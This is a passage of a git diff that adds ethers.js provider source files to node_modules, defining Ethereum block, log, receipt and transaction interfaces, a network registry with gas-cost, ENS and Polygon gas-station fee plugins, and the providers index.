BigNumber.from(chainId).toNumber(); + } + + if (typeof(chainId) !== "number" && result.v != null) { + chainId = (result.v - 35) / 2; + if (chainId < 0) { chainId = 0; } + chainId = parseInt(chainId); + } + + if (typeof(chainId) !== "number") { chainId = 0; } + + result.chainId = chainId; + } + */ + + // 0x0000... should actually be null + if (result.blockHash && getBigInt(result.blockHash) === BN_0) { + result.blockHash = null; + } + + return result; +} diff --git a/node_modules/ethers/src.ts/providers/formatting.ts b/node_modules/ethers/src.ts/providers/formatting.ts new file mode 100644 index 000000000000..d5bd09da69fa --- /dev/null +++ b/node_modules/ethers/src.ts/providers/formatting.ts @@ -0,0 +1,418 @@ +/** + * About provider formatting? + * + * @_section: api/providers/formatting:Formatting [provider-formatting] + */ + +import type { Signature } from "../crypto/index.js"; +import type { Authorization, AccessList } from "../transaction/index.js"; + + +////////////////////// +// Block + +/** + * a **BlockParams** encodes the minimal required properties for a + * formatted block. + */ +export interface BlockParams { + /** + * The block hash. + */ + hash?: null | string; + + /** + * The block number. + */ + number: number; + + /** + * The timestamp for this block, which is the number of seconds + * since epoch that this block was included. + */ + timestamp: number; + + /** + * The hash of the previous block in the blockchain. The genesis block + * has the parentHash of the [[ZeroHash]]. + */ + parentHash: string; + + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot?: null | string; + + /** + * A random sequence provided during the mining process for + * proof-of-work networks. + */ + nonce: string; + + /** + * For proof-of-work networks, the difficulty target is used to + * adjust the difficulty in mining to ensure an expected block rate. + */ + difficulty: bigint; + + /** + * The maximum amount of gas a block can consume. + */ + gasLimit: bigint; + + /** + * The amount of gas a block consumed. + */ + gasUsed: bigint; + + /** + * The total amount of BLOb gas consumed by transactions within + * the block. See [[link-eip4844]. + */ + blobGasUsed?: null | bigint; + + /** + * The running total of BLOb gas consumed in excess of the target + * prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas?: null | bigint; + + /** + * The miner (or author) of a block. + */ + miner: string; + + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao?: null | string; + + /** + * Additional data the miner choose to include. + */ + extraData: string; + + /** + * The protocol-defined base fee per gas in an [[link-eip-1559]] + * block. + */ + baseFeePerGas: null | bigint; + + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot?: null | string; + + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot?: null | string; + + /** + * The list of transactions in the block. + */ + transactions: ReadonlyArray; +}; + + +////////////////////// +// Log + +/** + * a **LogParams** encodes the minimal required properties for a + * formatted log. + */ +export interface LogParams { + /** + * The transaction hash for the transaxction the log occurred in. + */ + transactionHash: string; + + /** + * The block hash of the block that included the transaction for this + * log. + */ + blockHash: string; + + /** + * The block number of the block that included the transaction for this + * log. + */ + blockNumber: number; + + /** + * Whether this log was removed due to the transaction it was included + * in being removed dur to an orphaned block. + */ + removed: boolean; + + /** + * The address of the contract that emitted this log. + */ + address: string; + + /** + * The data emitted with this log. + */ + data: string; + + /** + * The topics emitted with this log. + */ + topics: ReadonlyArray; + + /** + * The index of this log. + */ + index: number; + + /** + * The transaction index of this log. + */ + transactionIndex: number; +} + + +////////////////////// +// Transaction Receipt + +/** + * a **TransactionReceiptParams** encodes the minimal required properties + * for a formatted transaction receipt. + */ +export interface TransactionReceiptParams { + /** + * The target of the transaction. If null, the transaction was trying + * to deploy a transaction with the ``data`` as the initi=code. + */ + to: null | string; + + /** + * The sender of the transaction. + */ + from: string; + + /** + * If the transaction was directly deploying a contract, the [[to]] + * will be null, the ``data`` will be initcode and if successful, this + * will be the address of the contract deployed. + */ + contractAddress: null | string; + + /** + * The transaction hash. + */ + hash: string; + + /** + * The transaction index. + */ + index: number; + + /** + * The block hash of the block that included this transaction. + */ + blockHash: string; + + /** + * The block number of the block that included this transaction. + */ + blockNumber: number; + + /** + * The bloom filter for the logs emitted during execution of this + * transaction. + */ + logsBloom: string; + + /** + * The logs emitted during the execution of this transaction. + */ + logs: ReadonlyArray; + + /** + * The amount of gas consumed executing this transaciton. + */ + gasUsed: bigint; + + /** + * The amount of BLOb gas used. See [[link-eip-4844]]. + */ + blobGasUsed?: null | bigint; + + /** + * The total amount of gas consumed during the entire block up to + * and including this transaction. + */ + cumulativeGasUsed: bigint; + + /** + * The actual gas price per gas charged for this transaction. + */ + gasPrice?: null | bigint; + + /** + * The actual BLOb gas price that was charged. See [[link-eip-4844]]. + */ + blobGasPrice?: null | bigint; + + /** + * The actual gas price per gas charged for this transaction. + */ + effectiveGasPrice?: null | bigint; + + /** + * The [[link-eip-2718]] envelope type. + */ + type: number; + //byzantium: boolean; + + /** + * The status of the transaction execution. If ``1`` then the + * the transaction returned success, if ``0`` then the transaction + * was reverted. For pre-byzantium blocks, this is usually null, but + * some nodes may have backfilled this data. + */ + status: null | number; + + /** + * The root of this transaction in a pre-bazatium block. In + * post-byzantium blocks this is null. + */ + root: null | string; + +} + +/* +export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; +} + +export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; +} +*/ + + + +////////////////////// +// Transaction Response + +/** + * a **TransactionResponseParams** encodes the minimal required properties + * for a formatted transaction response. + */ +export interface TransactionResponseParams { + /** + * The block number of the block that included this transaction. + */ + blockNumber: null | number; + + /** + * The block hash of the block that included this transaction. + */ + blockHash: null | string; + + /** + * The transaction hash. + */ + hash: string; + + /** + * The transaction index. + */ + index: number; + + /** + * The [[link-eip-2718]] transaction type. + */ + type: number; + + /** + * The target of the transaction. If ``null``, the ``data`` is initcode + * and this transaction is a deployment transaction. + */ + to: null | string; + + /** + * The sender of the transaction. + */ + from: string; + + /** + * The nonce of the transaction, used for replay protection. + */ + nonce: number; + + /** + * The maximum amount of gas this transaction is authorized to consume. + */ + gasLimit: bigint; + + /** + * For legacy transactions, this is the gas price per gas to pay. + */ + gasPrice: bigint; + + /** + * For [[link-eip-1559]] transactions, this is the maximum priority + * fee to allow a producer to claim. + */ + maxPriorityFeePerGas: null | bigint; + + /** + * For [[link-eip-1559]] transactions, this is the maximum fee that + * will be paid. + */ + maxFeePerGas: null | bigint; + + /** + * For [[link-eip-4844]] transactions, this is the maximum fee that + * will be paid per BLOb. + */ + maxFeePerBlobGas?: null | bigint; + + /** + * The transaction data. + */ + data: string; + + /** + * The transaction value (in wei). + */ + value: bigint; + + /** + * The chain ID this transaction is valid on. + */ + chainId: bigint; + + /** + * The signature of the transaction. + */ + signature: Signature; + + /** + * The transaction access list. + */ + accessList: null | AccessList; + + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes?: null | Array; // @TODO: drop the "?"? (v7) + + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList: null | Array; +}; + + diff --git a/node_modules/ethers/src.ts/providers/index.ts b/node_modules/ethers/src.ts/providers/index.ts new file mode 100644 index 000000000000..27a5460e2c12 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/index.ts @@ -0,0 +1,135 @@ +/** + * A **Provider** provides a connection to the blockchain, whch can be + * used to query its current state, simulate execution and send transactions + * to update the state. + * + * It is one of the most fundamental components of interacting with a + * blockchain application, and there are many ways to connect, such as over + * HTTP, WebSockets or injected providers such as [MetaMask](link-metamask). + * + * @_section: api/providers:Providers [about-providers] + */ + + +export { + AbstractProvider, UnmanagedSubscriber +} from "./abstract-provider.js"; + +export { + AbstractSigner, + VoidSigner, +} from "./abstract-signer.js"; + +export { + showThrottleMessage +} from "./community.js"; + +export { getDefaultProvider } from "./default-provider.js"; + +export { + EnsResolver, + MulticoinProviderPlugin +} from "./ens-resolver.js"; + +export { Network } from "./network.js"; + +export { NonceManager } from "./signer-noncemanager.js"; + +export { + NetworkPlugin, + GasCostPlugin, + EnsPlugin, + FeeDataNetworkPlugin, + FetchUrlFeeDataNetworkPlugin, +} from "./plugins-network.js"; + +export { + Block, + FeeData, + Log, + TransactionReceipt, + TransactionResponse, + + copyRequest, + //resolveTransactionRequest, +} from "./provider.js"; + +export { FallbackProvider } from "./provider-fallback.js"; +export { JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner } from "./provider-jsonrpc.js" + +export { BrowserProvider } from "./provider-browser.js"; + +export { AlchemyProvider } from "./provider-alchemy.js"; +export { BlockscoutProvider } from "./provider-blockscout.js"; +export { AnkrProvider } from "./provider-ankr.js"; +export { CloudflareProvider } from "./provider-cloudflare.js"; +export { ChainstackProvider } from "./provider-chainstack.js"; +export { EtherscanProvider, EtherscanPlugin } from "./provider-etherscan.js"; +export { InfuraProvider, InfuraWebSocketProvider } from "./provider-infura.js"; +export { PocketProvider } from "./provider-pocket.js"; +export { QuickNodeProvider } from "./provider-quicknode.js"; + +import { IpcSocketProvider } from "./provider-ipcsocket.js"; /*-browser*/ +export { IpcSocketProvider }; +export { SocketProvider } from "./provider-socket.js"; +export { WebSocketProvider } from "./provider-websocket.js"; + +export { + SocketSubscriber, SocketBlockSubscriber, SocketPendingSubscriber, + SocketEventSubscriber +} from "./provider-socket.js"; + +export type { + AbstractProviderOptions, Subscription, Subscriber, + AbstractProviderPlugin, + PerformActionFilter, PerformActionTransaction, PerformActionRequest, +} from "./abstract-provider.js" + +export type { ContractRunner } from "./contracts.js"; + +export type { + BlockParams, LogParams, TransactionReceiptParams, + TransactionResponseParams, +} from "./formatting.js"; + +export type { + CommunityResourcable +} from "./community.js"; + +/* +export type { + AvatarLinkageType, AvatarLinkage, AvatarResult +} from "./ens-resolver.js"; +*/ +export type { Networkish } from "./network.js"; + +export type { GasCostParameters } from "./plugins-network.js"; + +export type { + BlockTag, + TransactionRequest, PreparedTransactionRequest, + EventFilter, Filter, FilterByBlockHash, OrphanFilter, ProviderEvent, + TopicFilter, + Provider, + MinedBlock, MinedTransactionResponse +} from "./provider.js"; + +export type { + BrowserDiscoverOptions, BrowserProviderOptions, DebugEventBrowserProvider, + Eip1193Provider, Eip6963ProviderInfo +} from "./provider-browser.js"; + +export type { FallbackProviderOptions } from "./provider-fallback.js"; + +export type { + JsonRpcPayload, JsonRpcResult, JsonRpcError, + JsonRpcApiProviderOptions, + JsonRpcTransactionRequest, +} from "./provider-jsonrpc.js"; + +export type { + WebSocketCreator, WebSocketLike +} from "./provider-websocket.js"; + +export type { Signer } from "./signer.js"; + diff --git a/node_modules/ethers/src.ts/providers/network.ts b/node_modules/ethers/src.ts/providers/network.ts new file mode 100644 index 000000000000..46d2aacd7dae --- /dev/null +++ b/node_modules/ethers/src.ts/providers/network.ts @@ -0,0 +1,435 @@ +/** + * A **Network** encapsulates the various properties required to + * interact with a specific chain. + * + * @_subsection: api/providers:Networks [networks] + */ + +import { accessListify } from "../transaction/index.js"; +import { getBigInt, assert, assertArgument } from "../utils/index.js"; + +import { + EnsPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin +} from "./plugins-network.js"; + +import type { BigNumberish } from "../utils/index.js"; +import type { TransactionLike } from "../transaction/index.js"; + +import type { NetworkPlugin } from "./plugins-network.js"; + + +/** + * A Networkish can be used to allude to a Network, by specifing: + * - a [[Network]] object + * - a well-known (or registered) network name + * - a well-known (or registered) chain ID + * - an object with sufficient details to describe a network + */ +export type Networkish = Network | number | bigint | string | { + name?: string, + chainId?: number, + //layerOneConnection?: Provider, + ensAddress?: string, + ensNetwork?: number +}; + + + + +/* * * * +// Networks which operation against an L2 can use this plugin to +// specify how to access L1, for the purpose of resolving ENS, +// for example. +export class LayerOneConnectionPlugin extends NetworkPlugin { + readonly provider!: Provider; +// @TODO: Rename to ChainAccess and allow for connecting to any chain + constructor(provider: Provider) { + super("org.ethers.plugins.layer-one-connection"); + defineProperties(this, { provider }); + } + + clone(): LayerOneConnectionPlugin { + return new LayerOneConnectionPlugin(this.provider); + } +} +*/ + + +const Networks: Map Network> = new Map(); + + +/** + * A **Network** provides access to a chain's properties and allows + * for plug-ins to extend functionality. + */ +export class Network { + #name: string; + #chainId: bigint; + + #plugins: Map; + + /** + * Creates a new **Network** for %%name%% and %%chainId%%. + */ + constructor(name: string, chainId: BigNumberish) { + this.#name = name; + this.#chainId = getBigInt(chainId); + this.#plugins = new Map(); + } + + /** + * Returns a JSON-compatible representation of a Network. + */ + toJSON(): any { + return { name: this.name, chainId: String(this.chainId) }; + } + + /** + * The network common name. + * + * This is the canonical name, as networks migh have multiple + * names. + */ + get name(): string { return this.#name; } + set name(value: string) { this.#name = value; } + + /** + * The network chain ID. + */ + get chainId(): bigint { return this.#chainId; } + set chainId(value: BigNumberish) { this.#chainId = getBigInt(value, "chainId"); } + + /** + * Returns true if %%other%% matches this network. Any chain ID + * must match, and if no chain ID is present, the name must match. + * + * This method does not currently check for additional properties, + * such as ENS address or plug-in compatibility. + */ + matches(other: Networkish): boolean { + if (other == null) { return false; } + + if (typeof(other) === "string") { + try { + return (this.chainId === getBigInt(other)); + } catch (error) { } + return (this.name === other); + } + + if (typeof(other) === "number" || typeof(other) === "bigint") { + try { + return (this.chainId === getBigInt(other)); + } catch (error) { } + return false; + } + + if (typeof(other) === "object") { + if (other.chainId != null) { + try { + return (this.chainId === getBigInt(other.chainId)); + } catch (error) { } + return false; + } + if (other.name != null) { + return (this.name === other.name); + } + return false; + } + + return false; + } + + /** + * Returns the list of plugins currently attached to this Network. + */ + get plugins(): Array { + return Array.from(this.#plugins.values()); + } + + /** + * Attach a new %%plugin%% to this Network. The network name + * must be unique, excluding any fragment. + */ + attachPlugin(plugin: NetworkPlugin): this { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${ plugin.name } `); + } + this.#plugins.set(plugin.name, plugin.clone()); + return this; + } + + /** + * Return the plugin, if any, matching %%name%% exactly. Plugins + * with fragments will not be returned unless %%name%% includes + * a fragment. + */ + getPlugin(name: string): null | T { + return (this.#plugins.get(name)) || null; + } + + /** + * Gets a list of all plugins that match %%name%%, with otr without + * a fragment. + */ + getPlugins(basename: string): Array { + return >(this.plugins.filter((p) => (p.name.split("#")[0] === basename))); + } + + /** + * Create a copy of this Network. + */ + clone(): Network { + const clone = new Network(this.name, this.chainId); + this.plugins.forEach((plugin) => { + clone.attachPlugin(plugin.clone()); + }); + return clone; + } + + /** + * Compute the intrinsic gas required for a transaction. + * + * A GasCostPlugin can be attached to override the default + * values. + */ + computeIntrinsicGas(tx: TransactionLike): number { + const costs = this.getPlugin("org.ethers.plugins.network.GasCost") || (new GasCostPlugin()); + + let gas = costs.txBase; + if (tx.to == null) { gas += costs.txCreate; } + if (tx.data) { + for (let i = 2; i < tx.data.length; i += 2) { + if (tx.data.substring(i, i + 2) === "00") { + gas += costs.txDataZero; + } else { + gas += costs.txDataNonzero; + } + } + } + + if (tx.accessList) { + const accessList = accessListify(tx.accessList); + for (const addr in accessList) { + gas += costs.txAccessListAddress + costs.txAccessListStorageKey * accessList[addr].storageKeys.length; + } + } + + return gas; + } + + /** + * Returns a new Network for the %%network%% name or chainId. + */ + static from(network?: Networkish): Network { + injectCommonNetworks(); + + // Default network + if (network == null) { return Network.from("mainnet"); } + + // Canonical name or chain ID + if (typeof(network) === "number") { network = BigInt(network); } + if (typeof(network) === "string" || typeof(network) === "bigint") { + const networkFunc = Networks.get(network); + if (networkFunc) { return networkFunc(); } + if (typeof(network) === "bigint") { + return new Network("unknown", network); + } + + assertArgument(false, "unknown network", "network", network); + } + + // Clonable with network-like abilities + if (typeof((network).clone) === "function") { + const clone = (network).clone(); + //if (typeof(network.name) !== "string" || typeof(network.chainId) !== "number") { + //} + return clone; + } + + // Networkish + if (typeof(network) === "object") { + assertArgument(typeof(network.name) === "string" && typeof(network.chainId) === "number", + "invalid network object name or chainId", "network", network); + + const custom = new Network((network.name), (network.chainId)); + + if ((network).ensAddress || (network).ensNetwork != null) { + custom.attachPlugin(new EnsPlugin((network).ensAddress, (network).ensNetwork)); + } + + //if ((network).layerOneConnection) { + // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection)); + //} + + return custom; + } + + assertArgument(false, "invalid network", "network", network); + } + + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId: string | number | bigint, networkFunc: () => Network): void { + if (typeof(nameOrChainId) === "number") { nameOrChainId = BigInt(nameOrChainId); } + const existing = Networks.get(nameOrChainId); + if (existing) { + assertArgument(false, `conflicting network for ${ JSON.stringify(existing.name) }`, "nameOrChainId", nameOrChainId); + } + Networks.set(nameOrChainId, networkFunc); + } +} + + +type Options = { + ensNetwork?: number; + altNames?: Array; + plugins?: Array; +}; + +// We don't want to bring in formatUnits because it is backed by +// FixedNumber and we want to keep Networks tiny. The values +// included by the Gas Stations are also IEEE 754 with lots of +// rounding issues and exceed the strict checks formatUnits has. +function parseUnits(_value: number | string, decimals: number): bigint { + const value = String(_value); + if (!value.match(/^[0-9.]+$/)) { + throw new Error(`invalid gwei value: ${ _value }`); + } + + // Break into [ whole, fraction ] + const comps = value.split("."); + if (comps.length === 1) { comps.push(""); } + + // More than 1 decimal point or too many fractional positions + if (comps.length !== 2) { + throw new Error(`invalid gwei value: ${ _value }`); + } + + // Pad the fraction to 9 decimalplaces + while (comps[1].length < decimals) { comps[1] += "0"; } + + // Too many decimals and some non-zero ending, take the ceiling + if (comps[1].length > 9) { + let frac = BigInt(comps[1].substring(0, 9)); + if (!comps[1].substring(9).match(/^0+$/)) { frac++; } + comps[1] = frac.toString(); + } + + return BigInt(comps[0] + comps[1]); +} + +// Used by Polygon to use a gas station for fee data +function getGasStationPlugin(url: string) { + return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => { + + // Prevent Cloudflare from blocking our request in node.js + request.setHeader("User-Agent", "ethers"); + + let response; + try { + const [ _response, _feeData ] = await Promise.all([ + request.send(), fetchFeeData() + ]); + response = _response; + const payload = response.bodyJson.standard; + const feeData = { + gasPrice: _feeData.gasPrice, + maxFeePerGas: parseUnits(payload.maxFee, 9), + maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9), + }; + return feeData; + } catch (error: any) { + assert(false, `error encountered with polygon gas station (${ JSON.stringify(request.url) })`, "SERVER_ERROR", { request, response, error }); + } + }); +} + +// See: https://chainlist.org +let injected = false; +function injectCommonNetworks(): void { + if (injected) { return; } + injected = true; + + /// Register popular Ethereum networks + function registerEth(name: string, chainId: number, options: Options): void { + const func = function() { + const network = new Network(name, chainId); + + // We use 0 to disable ENS + if (options.ensNetwork != null) { + network.attachPlugin(new EnsPlugin(null, options.ensNetwork)); + } + + network.attachPlugin(new GasCostPlugin()); + + (options.plugins || []).forEach((plugin) => { + network.attachPlugin(plugin); + }); + + return network; + }; + + // Register the network by name and chain ID + Network.register(name, func); + Network.register(chainId, func); + + if (options.altNames) { + options.altNames.forEach((name) => { + Network.register(name, func); + }); + } + } + + registerEth("mainnet", 1, { ensNetwork: 1, altNames: [ "homestead" ] }); + registerEth("ropsten", 3, { ensNetwork: 3 }); + registerEth("rinkeby", 4, { ensNetwork: 4 }); + registerEth("goerli", 5, { ensNetwork: 5 }); + registerEth("kovan", 42, { ensNetwork: 42 }); + registerEth("sepolia", 11155111, { ensNetwork: 11155111 }); + registerEth("holesky", 17000, { ensNetwork: 17000 }); + + registerEth("classic", 61, { }); + registerEth("classicKotti", 6, { }); + + registerEth("arbitrum", 42161, { + ensNetwork: 1, + }); + registerEth("arbitrum-goerli", 421613, { }); + registerEth("arbitrum-sepolia", 421614, { }); + + registerEth("base", 8453, { ensNetwork: 1 }); + registerEth("base-goerli", 84531, { }); + registerEth("base-sepolia", 84532, { }); + + registerEth("bnb", 56, { ensNetwork: 1 }); + registerEth("bnbt", 97, { }); + + registerEth("linea", 59144, { ensNetwork: 1 }); + registerEth("linea-goerli", 59140, { }); + registerEth("linea-sepolia", 59141, { }); + + registerEth("matic", 137, { + ensNetwork: 1, + plugins: [ + getGasStationPlugin("https:/\/gasstation.polygon.technology/v2") + ] + }); + registerEth("matic-amoy", 80002, { }); + registerEth("matic-mumbai", 80001, { + altNames: [ "maticMumbai", "maticmum" ], // @TODO: Future remove these alts + plugins: [ + getGasStationPlugin("https:/\/gasstation-testnet.polygon.technology/v2") + ] + }); + + registerEth("optimism", 10, { + ensNetwork: 1, + plugins: [ ] + }); + registerEth("optimism-goerli", 420, { }); + registerEth("optimism-sepolia", 11155420, { }); + + registerEth("xdai", 100, { ensNetwork: 1 }); +} diff --git a/node_modules/ethers/src.ts/providers/pagination.ts b/node_modules/ethers/src.ts/providers/pagination.ts new file mode 100644 index 000000000000..022688c0365a --- /dev/null +++ b/node_modules/ethers/src.ts/providers/pagination.ts @@ -0,0 +1,8 @@ +export interface PaginationResult extends Array { + next(): Promise>; + + // The total number of results available or null if unknown + totalResults: null | number; + + done: boolean; +} diff --git a/node_modules/ethers/src.ts/providers/plugin-fallback.ts b/node_modules/ethers/src.ts/providers/plugin-fallback.ts new file mode 100644 index 000000000000..777b128a584a --- /dev/null +++ b/node_modules/ethers/src.ts/providers/plugin-fallback.ts @@ -0,0 +1,35 @@ + +import { AbstractProviderPlugin } from "./abstract-provider.js"; +import { defineProperties } from "../utils/index.js"; + +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; + + +export const PluginIdFallbackProvider = "org.ethers.plugins.provider.QualifiedPlugin"; + +export class CheckQualifiedPlugin implements AbstractProviderPlugin { + declare name: string; + + constructor() { + defineProperties(this, { name: PluginIdFallbackProvider }); + } + + connect(provider: AbstractProvider): CheckQualifiedPlugin { + return this; + } + + // Retruns true if this value should be considered qualified for + // inclusion in the quorum. + isQualified(action: PerformActionRequest, result: any): boolean { + return true; + } +} + +export class PossiblyPrunedTransactionPlugin extends CheckQualifiedPlugin { + isQualified(action: PerformActionRequest, result: any): boolean { + if (action.method === "getTransaction" || action.method === "getTransactionReceipt") { + if (result == null) { return false; } + } + return super.isQualified(action, result); + } +} diff --git a/node_modules/ethers/src.ts/providers/plugins-network.ts b/node_modules/ethers/src.ts/providers/plugins-network.ts new file mode 100644 index 000000000000..10df66f89461 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/plugins-network.ts @@ -0,0 +1,281 @@ +import { defineProperties } from "../utils/properties.js"; + +import { assertArgument } from "../utils/index.js"; + +import type { FeeData, Provider } from "./provider.js"; +import type { FetchRequest } from "../utils/fetch.js"; + + +const EnsAddress = "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"; + +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +export class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + readonly name!: string; + + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name: string) { + defineProperties(this, { name }); + } + + /** + * Creates a copy of this plugin. + */ + clone(): NetworkPlugin { + return new NetworkPlugin(this.name); + } + +// validate(network: Network): NetworkPlugin { +// return this; +// } +} + + +/** + * The gas cost parameters for a [[GasCostPlugin]]. + */ +export type GasCostParameters = { + /** + * The transactions base fee. + */ + txBase?: number; + + /** + * The fee for creating a new account. + */ + txCreate?: number; + + /** + * The fee per zero-byte in the data. + */ + txDataZero?: number; + + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero?: number; + + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey?: number; + + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress?: number; +}; + +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +export class GasCostPlugin extends NetworkPlugin implements GasCostParameters { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + readonly effectiveBlock!: number; + + /** + * The transactions base fee. + */ + readonly txBase!: number; + + /** + * The fee for creating a new account. + */ + readonly txCreate!: number; + + /** + * The fee per zero-byte in the data. + */ + readonly txDataZero!: number; + + /** + * The fee per non-zero-byte in the data. + */ + readonly txDataNonzero!: number; + + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + readonly txAccessListStorageKey!: number; + + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + readonly txAccessListAddress!: number; + + + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock?: number, costs?: GasCostParameters) { + if (effectiveBlock == null) { effectiveBlock = 0; } + super(`org.ethers.network.plugins.GasCost#${ (effectiveBlock || 0) }`); + + const props: Record = { effectiveBlock }; + function set(name: keyof GasCostParameters, nullish: number): void { + let value = (costs || { })[name]; + if (value == null) { value = nullish; } + assertArgument(typeof(value) === "number", `invalud value for ${ name }`, "costs", costs); + props[name] = value; + } + + set("txBase", 21000); + set("txCreate", 32000); + set("txDataZero", 4); + set("txDataNonzero", 16); + set("txAccessListStorageKey", 1900); + set("txAccessListAddress", 2400); + + defineProperties(this, props); + } + + clone(): GasCostPlugin { + return new GasCostPlugin(this.effectiveBlock, this); + } +} + +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +export class EnsPlugin extends NetworkPlugin { + + /** + * The ENS Registrty Contract address. + */ + readonly address!: string; + + /** + * The chain ID that the ENS contract lives on. + */ + readonly targetNetwork!: number; + + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address?: null | string, targetNetwork?: null | number) { + super("org.ethers.plugins.network.Ens"); + defineProperties(this, { + address: (address || EnsAddress), + targetNetwork: ((targetNetwork == null) ? 1: targetNetwork) + }); + } + + clone(): EnsPlugin { + return new EnsPlugin(this.address, this.targetNetwork); + } +} + +/** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +export class FeeDataNetworkPlugin extends NetworkPlugin { + readonly #feeDataFunc: (provider: Provider) => Promise; + + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc(): (provider: Provider) => Promise { + return this.#feeDataFunc; + } + + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc: (provider: Provider) => Promise) { + super("org.ethers.plugins.network.FeeData"); + this.#feeDataFunc = feeDataFunc; + } + + /** + * Resolves to the fee data. + */ + async getFeeData(provider: Provider): Promise { + return await this.#feeDataFunc(provider); + } + + clone(): FeeDataNetworkPlugin { + return new FeeDataNetworkPlugin(this.#feeDataFunc); + } +} + +export class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + readonly #url: string; + readonly #processFunc: (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint }>; + + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url(): string { return this.#url; } + + /** + * The callback to use when computing the FeeData. + */ + get processFunc(): (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint }> { return this.#processFunc; } + + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url: string, processFunc: (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ gasPrice?: null | bigint, maxFeePerGas?: null | bigint, maxPriorityFeePerGas?: null | bigint }>) { + super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + this.#url = url; + this.#processFunc = processFunc; + } + + // We are immutable, so we can serve as our own clone + clone(): FetchUrlFeeDataNetworkPlugin { return this; } +} + +/* +export class CustomBlockNetworkPlugin extends NetworkPlugin { + readonly #blockFunc: (provider: Provider, block: BlockParams) => Block; + readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block; + + constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) { + super("org.ethers.network-plugins.custom-block"); + this.#blockFunc = blockFunc; + this.#blockWithTxsFunc = blockWithTxsFunc; + } + + async getBlock(provider: Provider, block: BlockParams): Promise> { + return await this.#blockFunc(provider, block); + } + + async getBlockions(provider: Provider, block: BlockParams): Promise> { + return await this.#blockWithTxsFunc(provider, block); + } + + clone(): CustomBlockNetworkPlugin { + return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc); + } +} +*/ diff --git a/node_modules/ethers/src.ts/providers/provider-alchemy.ts b/node_modules/ethers/src.ts/providers/provider-alchemy.ts new file mode 100644 index 000000000000..aa9d2692595c --- /dev/null +++ b/node_modules/ethers/src.ts/providers/provider-alchemy.ts @@ -0,0 +1,166 @@ +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ + +import { + defineProperties, resolveProperties, assert, assertArgument, + FetchRequest +} from "../utils/index.js"; + +import { 